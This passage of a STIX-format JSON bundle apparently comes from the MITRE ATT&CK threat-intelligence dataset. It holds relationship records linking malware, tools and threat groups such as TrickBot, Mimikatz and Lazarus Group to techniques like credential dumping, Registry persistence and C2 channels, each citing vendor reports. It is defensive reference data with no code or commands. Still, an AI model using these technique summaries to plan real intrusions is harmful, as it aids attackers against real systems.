                },
                {
                    "url": "https://usa.kaspersky.com/about/press-releases/2018_synack-doppelganging",
                    "description": "Bettencourt, J. (2018, May 7). Kaspersky Lab finds new variant of SynAck ransomware using sophisticated Doppelg\u00e4nging technique. Retrieved May 24, 2018.",
                    "source_name": "Kaspersky Lab SynAck May 2018"
                }
            ],
            "source_ref": "malware--04227b24-7817-4de1-9050-b7b1b57f5866",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7007935a-a8a7-4c0b-bd98-4e85be8ed197",
            "type": "relationship",
            "modified": "2019-07-26T23:00:57.630Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--8a48e090-ab8c-414e-b559-7a0437c92850",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[SPACESHIP](https://attack.mitre.org/software/S0035) achieves persistence by creating a shortcut in the current user's Startup folder.(Citation: FireEye APT30)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT30",
                    "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.",
                    "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
                }
            ],
            "source_ref": "malware--8b880b41-5139-4807-baa9-309690218719",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--4ab929c6-ee2d-4fb5-aab4-b14be2ed7179",
            "type": "relationship",
            "modified": "2020-03-17T14:56:44.508Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
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            "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) malware SierraBravo-Two generates an email message via SMTP containing information about newly infected victims.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster RATs)",
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            "external_references": [
                {
                    "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf",
                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.",
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                },
                {
                    "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-RAT-and-Staging-Report.pdf",
                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Remote Administration Tools & Content Staging Malware Report. Retrieved March 16, 2016.",
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                }
            ],
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            "description": "[Night Dragon](https://attack.mitre.org/groups/G0014) is known to use software packing in its tools.(Citation: McAfee Night Dragon)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
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                    "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. (2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. Retrieved February 19, 2018.",
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                }
            ],
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            "type": "relationship",
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            "relationship_type": "uses",
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                {
                    "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/",
                    "description": "Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018.",
                    "source_name": "Unit 42 QUADAGENT July 2018"
                }
            ],
            "description": "(Citation: Unit 42 QUADAGENT July 2018)",
            "type": "relationship",
            "modified": "2019-09-04T22:55:41.903Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
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            "description": "[NavRAT](https://attack.mitre.org/software/S0247) uses the email platform, Naver, for C2 communications, leveraging SMTP.(Citation: Talos NavRAT May 2018)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Talos NavRAT May 2018",
                    "description": "Mercer, W., Rascagneres, P. (2018, May 31). NavRAT Uses US-North Korea Summit As Decoy For Attacks In South Korea. Retrieved June 11, 2018.",
                    "url": "https://blog.talosintelligence.com/2018/05/navrat.html"
                }
            ],
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            "relationship_type": "uses",
            "target_ref": "attack-pattern--54b4c251-1f0e-4eba-ba6b-dbc7a6f6f06b",
            "type": "relationship",
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            "created": "2018-10-17T00:14:20.652Z"
        },
        {
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            "description": "[TrickBot](https://attack.mitre.org/software/S0266) creates a scheduled task on the system that provides persistence.(Citation: S2 Grupo TrickBot June 2017)(Citation: Trend Micro Totbrick Oct 2016)(Citation: Microsoft Totbrick Oct 2017)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
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                {
                    "source_name": "S2 Grupo TrickBot June 2017",
                    "description": "Salinas, M., Holguin, J. (2017, June). Evolution of Trickbot. Retrieved July 31, 2018.",
                    "url": "https://www.securityartwork.es/wp-content/uploads/2017/07/Trickbot-report-S2-Grupo.pdf"
                },
                {
                    "source_name": "Trend Micro Totbrick Oct 2016",
                    "description": "Antazo, F. (2016, October 31). TSPY_TRICKLOAD.N. Retrieved September 14, 2018.",
                    "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/tspy_trickload.n"
                },
                {
                    "source_name": "Microsoft Totbrick Oct 2017",
                    "description": "Pornasdoro, A. (2017, October 12). Trojan:Win32/Totbrick. Retrieved September 14, 2018.",
                    "url": "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Trojan:Win32/Totbrick"
                }
            ],
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            "relationship_type": "uses",
            "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9",
            "type": "relationship",
            "modified": "2020-03-28T21:45:19.556Z",
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        },
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            "description": "[QUADAGENT](https://attack.mitre.org/software/S0269) gathers the victim username.(Citation: Unit 42 QUADAGENT July 2018)",
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            ],
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                {
                    "source_name": "Unit 42 QUADAGENT July 2018",
                    "description": "Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/"
                }
            ],
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            "relationship_type": "uses",
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            "type": "relationship",
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        },
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            "description": "[VERMIN](https://attack.mitre.org/software/S0257) gathers the username from the victim\u2019s machine.(Citation: Unit 42 VERMIN Jan 2018)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 VERMIN Jan 2018",
                    "description": "Lancaster, T., Cortes, J. (2018, January 29). VERMIN: Quasar RAT and Custom Malware Used In Ukraine. Retrieved July 5, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/"
                }
            ],
            "source_ref": "malware--5189f018-fea2-45d7-b0ed-23f9ee0a46f3",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104",
            "type": "relationship",
            "modified": "2020-03-16T19:50:58.011Z",
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        },
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            "description": "The [Duqu](https://attack.mitre.org/software/S0038) command and control protocol's data stream can be encrypted with AES-CBC.(Citation: Symantec W32.Duqu)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf",
                    "description": "Symantec Security Response. (2011, November). W32.Duqu: The precursor to the next Stuxnet. Retrieved September 17, 2015.",
                    "source_name": "Symantec W32.Duqu"
                }
            ],
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            "relationship_type": "uses",
            "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41",
            "type": "relationship",
            "modified": "2020-03-20T23:19:46.026Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Vasport](https://attack.mitre.org/software/S0207) copies itself to disk and creates an associated run key Registry entry to establish.(Citation: Symantec Vasport May 2012)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Vasport May 2012",
                    "description": "Zhou, R. (2012, May 15). Backdoor.Vasport. Retrieved February 22, 2018.",
                    "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-051606-5938-99"
                }
            ],
            "source_ref": "malware--f4d8a2d6-c684-453a-8a14-cf4a94f755c5",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "type": "relationship",
            "modified": "2020-03-17T02:47:10.963Z",
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        },
        {
            "id": "relationship--797131cf-fef9-4ece-823f-e931393e72f8",
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            "description": "Some [Reaver](https://attack.mitre.org/software/S0172) variants use HTTP for C2.(Citation: Palo Alto Reaver Nov 2017)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Palo Alto Reaver Nov 2017",
                    "description": "Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/"
                }
            ],
            "source_ref": "malware--65341f30-bec6-4b1d-8abf-1a5620446c29",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "type": "relationship",
            "modified": "2020-03-17T02:22:51.855Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--80dcd852-39c2-4ef9-a401-e54982010a65",
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            "description": "[APT3](https://attack.mitre.org/groups/G0022) has a tool that can locate credentials in files on the file system such as those from Firefox or Chrome.(Citation: Symantec Buckeye)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
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                {
                    "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong",
                    "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.",
                    "source_name": "Symantec Buckeye"
                }
            ],
            "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--837f9164-50af-4ac0-8219-379d8a74cefc",
            "type": "relationship",
            "modified": "2019-04-29T18:01:20.633Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--88ad4d2e-745e-4712-8901-e772dfaf3298",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Turla](https://attack.mitre.org/groups/G0010) has used valid digital certificates from Sysprint AG to sign its [Epic](https://attack.mitre.org/software/S0091) dropper.(Citation: Kaspersky Turla)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://securelist.com/the-epic-turla-operation/65545/",
                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.",
                    "source_name": "Kaspersky Turla"
                }
            ],
            "source_ref": "malware--6b62e336-176f-417b-856a-8552dd8c44e1",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082",
            "type": "relationship",
            "modified": "2019-07-26T16:10:43.174Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--0191f3d3-59d3-4fcc-bfff-5fbfa0675cfd",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[SeaDuke](https://attack.mitre.org/software/S0053) is capable of executing commands.(Citation: Unit 42 SeaDuke 2015)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 SeaDuke 2015",
                    "description": "Grunzweig, J.. (2015, July 14). Unit 42 Technical Analysis: Seaduke. Retrieved August 3, 2016.",
                    "url": "http://researchcenter.paloaltonetworks.com/2015/07/unit-42-technical-analysis-seaduke/"
                }
            ],
            "source_ref": "malware--67e6d66b-1b82-4699-b47a-e2efb6268d14",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "type": "relationship",
            "modified": "2020-03-20T17:45:31.244Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--cf8f6cd4-cd87-430b-b286-3790c5a97efa",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[ZeroT](https://attack.mitre.org/software/S0230) has used RC4 to encrypt C2 traffic.(Citation: Proofpoint TA459 April 2017)(Citation: Proofpoint ZeroT Feb 2017)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Proofpoint TA459 April 2017",
                    "description": "Axel F. (2017, April 27). APT Targets Financial Analysts with CVE-2017-0199. Retrieved February 15, 2018.",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/apt-targets-financial-analysts"
                },
                {
                    "source_name": "Proofpoint ZeroT Feb 2017",
                    "description": "Huss, D., et al. (2017, February 2). Oops, they did it again: APT Targets Russia and Belarus with ZeroT and PlugX. Retrieved April 5, 2018.",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx"
                }
            ],
            "source_ref": "malware--4ab44516-ad75-4e43-a280-705dc0420e2f",
            "relationship_type": "uses",
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            "type": "relationship",
            "modified": "2020-03-21T00:42:09.957Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--d021d378-a5ff-4020-972c-cc9152e824b0",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Darkhotel](https://attack.mitre.org/groups/G0012) has been known to establish persistence by adding programs to the Run Registry key.(Citation: Kaspersky Darkhotel)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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            "external_references": [
                {
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                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, November). The Darkhotel APT A Story of Unusual Hospitality. Retrieved November 12, 2014.",
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            ],
            "source_ref": "intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "type": "relationship",
            "modified": "2020-03-16T20:05:43.636Z",
            "created": "2017-05-31T21:33:27.047Z"
        },
        {
            "id": "relationship--08319de4-6faa-4fb8-825e-0baee4a4b510",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71",
            "relationship_type": "uses",
            "target_ref": "tool--cde2d700-9ed1-46cf-9bce-07364fe8b24f",
            "external_references": [
                {
                    "source_name": "US-CERT TA18-074A",
                    "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A"
                }
            ],
            "description": "(Citation: US-CERT TA18-074A)",
            "type": "relationship",
            "modified": "2019-03-22T20:13:49.676Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--65f7704a-358a-464d-b09b-fee5dd96adf3",
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            "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) malware can take a screenshot and upload the file to its C2 server.(Citation: Unit 42 Magic Hound Feb 2017)",
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            ],
            "external_references": [
                {
                    "source_name": "Unit 42 Magic Hound Feb 2017",
                    "description": "Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/"
                }
            ],
            "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13",
            "relationship_type": "uses",
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            "type": "relationship",
            "modified": "2019-09-09T19:21:42.536Z",
            "created": "2018-01-16T16:13:52.465Z"
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        {
            "id": "relationship--b7930db8-2cb9-4ecf-b3d3-7425f99140d8",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Mimikatz](https://attack.mitre.org/software/S0002) performs credential dumping to obtain account and password information useful in gaining access to additional systems and enterprise network resources. It contains functionality to acquire information about credentials in many ways, including from the LSASS Memory.(Citation: Deply Mimikatz)(Citation: GitHub Mimikatz lsadump Module)(Citation: Directory Services Internals DPAPI Backup Keys Oct 2015)(Citation: NCSC Joint Report Public Tools)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Deply Mimikatz",
                    "description": "Deply, B. (n.d.). Mimikatz. Retrieved September 29, 2015.",
                    "url": "https://github.com/gentilkiwi/mimikatz"
                },
                {
                    "source_name": "GitHub Mimikatz lsadump Module",
                    "description": "Deply, B., Le Toux, V. (2016, June 5). module ~ lsadump. Retrieved August 7, 2017.",
                    "url": "https://github.com/gentilkiwi/mimikatz/wiki/module-~-lsadump"
                },
                {
                    "source_name": "Directory Services Internals DPAPI Backup Keys Oct 2015",
                    "description": "Grafnetter, M. (2015, October 26). Retrieving DPAPI Backup Keys from Active Directory. Retrieved December 19, 2017.",
                    "url": "https://www.dsinternals.com/en/retrieving-dpapi-backup-keys-from-active-directory/"
                },
                {
                    "description": "The Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NZ NCSC), CERT New Zealand, the UK National Cyber Security Centre (UK NCSC) and the US National Cybersecurity and Communications Integration Center (NCCIC). (2018, October 11). Joint report on publicly available hacking tools. Retrieved March 11, 2019.",
                    "url": "https://www.ncsc.gov.uk/report/joint-report-on-publicly-available-hacking-tools",
                    "source_name": "NCSC Joint Report Public Tools"
                }
            ],
            "source_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90",
            "type": "relationship",
            "modified": "2021-01-25T15:43:45.853Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--3cc0af18-2897-4008-a2b0-0234df50acde",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Bandook](https://attack.mitre.org/software/S0234) has been launched by starting iexplore.exe and replacing it with [Bandook](https://attack.mitre.org/software/S0234)'s payload.(Citation: Lookout Dark Caracal Jan 2018)(Citation: EFF Manul Aug 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Lookout Dark Caracal Jan 2018",
                    "description": "Blaich, A., et al. (2018, January 18). Dark Caracal: Cyber-espionage at a Global Scale. Retrieved April 11, 2018.",
                    "url": "https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf"
                },
                {
                    "source_name": "EFF Manul Aug 2016",
                    "description": "Galperin, E., Et al.. (2016, August). I Got a Letter From the Government the Other Day.... Retrieved April 25, 2018.",
                    "url": "https://www.eff.org/files/2016/08/03/i-got-a-letter-from-the-government.pdf"
                }
            ],
            "source_ref": "malware--835a79f1-842d-472d-b8f4-d54b545c341b",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b200542e-e877-4395-875b-cf1a44537ca4",
            "type": "relationship",
            "modified": "2020-03-16T16:01:27.587Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--aef7fe44-f381-41d5-88af-f04135e3aeab",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Responder](https://attack.mitre.org/software/S0174) is used to poison name services to gather hashes and credentials from systems within a local network.(Citation: GitHub Responder)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "GitHub Responder",
                    "description": "Gaffie, L. (2016, August 25). Responder. Retrieved November 17, 2017.",
                    "url": "https://github.com/SpiderLabs/Responder"
                }
            ],
            "type": "relationship",
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2018-01-16T16:13:52.465Z",
            "source_ref": "tool--a1dd2dbd-1550-44bf-abcc-1a4c52e97719",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--650c784b-7504-4df7-ab2c-4ea882384d1e"
        },
        {
            "id": "relationship--4f3473a4-f5f5-43d8-a4ec-589763695942",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Derusbi](https://attack.mitre.org/software/S0021) variants have been seen that use Registry persistence to proxy execution through regsvr32.exe.(Citation: ThreatGeek Derusbi Converge)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ThreatGeek Derusbi Converge",
                    "description": "Fidelis Threat Research Team. (2016, May 2). Turbo Twist: Two 64-bit Derusbi Strains Converge. Retrieved August 16, 2018.",
                    "url": "https://www.fidelissecurity.com/threatgeek/threat-intelligence/turbo-twist-two-64-bit-derusbi-strains-converge"
                }
            ],
            "source_ref": "malware--94379dec-5c87-49db-b36e-66abc0b81344",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b97f1d35-4249-4486-a6b5-ee60ccf24fab",
            "type": "relationship",
            "modified": "2020-03-16T15:39:47.843Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--bb2ba4b6-d96a-4d66-ac13-aa657108b363",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Sys10](https://attack.mitre.org/software/S0060) collects the local IP address of the victim and sends it to the C2.(Citation: Baumgartner Naikon 2015)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Baumgartner Naikon 2015",
                    "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.",
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf"
                }
            ],
            "source_ref": "malware--7f8730af-f683-423f-9ee1-5f6875a80481",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0",
            "type": "relationship",
            "modified": "2019-05-03T16:44:41.815Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--9dcc9cb1-d489-42ab-b647-3a492c04c114",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[POWERSTATS](https://attack.mitre.org/software/S0223) can upload files from compromised hosts.(Citation: FireEye MuddyWater Mar 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html",
                    "description": "Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.",
                    "source_name": "FireEye MuddyWater Mar 2018"
                }
            ],
            "source_ref": "malware--e8545794-b98c-492b-a5b3-4b5a02682e37",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5",
            "type": "relationship",
            "modified": "2019-04-22T22:36:53.187Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--42dc03ec-03fb-4bf0-8f5f-e90d1aacd6e7",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[KOMPROGO](https://attack.mitre.org/software/S0156) is capable of retrieving information about the infected system.(Citation: FireEye APT32 May 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT32 May 2017",
                    "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html"
                }
            ],
            "source_ref": "malware--7dbb67c7-270a-40ad-836e-c45f8948aa5a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "type": "relationship",
            "modified": "2020-03-20T02:12:29.722Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--77270a5a-c2e7-4cf0-8d73-129758454bcc",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Proxysvc](https://attack.mitre.org/software/S0238) lists files in directories.(Citation: McAfee GhostSecret)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/",
                    "description": "Sherstobitoff, R., Malhotra, A. (2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. Retrieved May 16, 2018.",
                    "source_name": "McAfee GhostSecret"
                }
            ],
            "source_ref": "malware--069af411-9b24-4e85-b26c-623d035bbe84",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "type": "relationship",
            "modified": "2019-04-22T22:40:41.326Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--4287de65-be1d-44aa-9c50-9c391e321597",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Smoke Loader](https://attack.mitre.org/software/S0226) adds a Visual Basic script in the Startup folder to deploy the payload.(Citation: Malwarebytes SmokeLoader 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://blog.malwarebytes.com/threat-analysis/2016/08/smoke-loader-downloader-with-a-smokescreen-still-alive/",
                    "description": "Hasherezade. (2016, September 12). Smoke Loader \u2013 downloader with a smokescreen still alive. Retrieved March 20, 2018.",
                    "source_name": "Malwarebytes SmokeLoader 2016"
                }
            ],
            "source_ref": "malware--0c824410-58ff-49b2-9cf2-1c96b182bdf0",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67",
            "type": "relationship",
            "modified": "2020-03-19T17:04:02.442Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--aeda6707-50e2-47e2-833a-18e4a5d73e88",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "The initial beacon packet for [Mis-Type](https://attack.mitre.org/software/S0084) contains the operating system version and file system of the victim.(Citation: Cylance Dust Storm)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Cylance Dust Storm",
                    "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.",
                    "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf"
                }
            ],
            "source_ref": "malware--e1161124-f22e-487f-9d5f-ed8efc8dcd61",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "type": "relationship",
            "modified": "2020-02-11T16:23:56.723Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--bd315928-0b74-491c-b526-ee5e1841842b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Derusbi](https://attack.mitre.org/software/S0021) beacons to destination port 443.(Citation: Fidelis Turbo)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2016/2016.02.29.Turbo_Campaign_Derusbi/TA_Fidelis_Turbo_1602_0.pdf",
                    "description": "Fidelis Cybersecurity. (2016, February 29). The Turbo Campaign, Featuring Derusbi for 64-bit Linux. Retrieved March 2, 2016.",
                    "source_name": "Fidelis Turbo"
                }
            ],
            "source_ref": "malware--94379dec-5c87-49db-b36e-66abc0b81344",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e",
            "type": "relationship",
            "modified": "2019-08-16T18:52:50.652Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--fbf22973-f91d-440a-9559-65bc2d8e3739",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[OopsIE](https://attack.mitre.org/software/S0264) can upload files from the victim's machine to its C2 server.(Citation: Unit 42 OopsIE! Feb 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 OopsIE! Feb 2018",
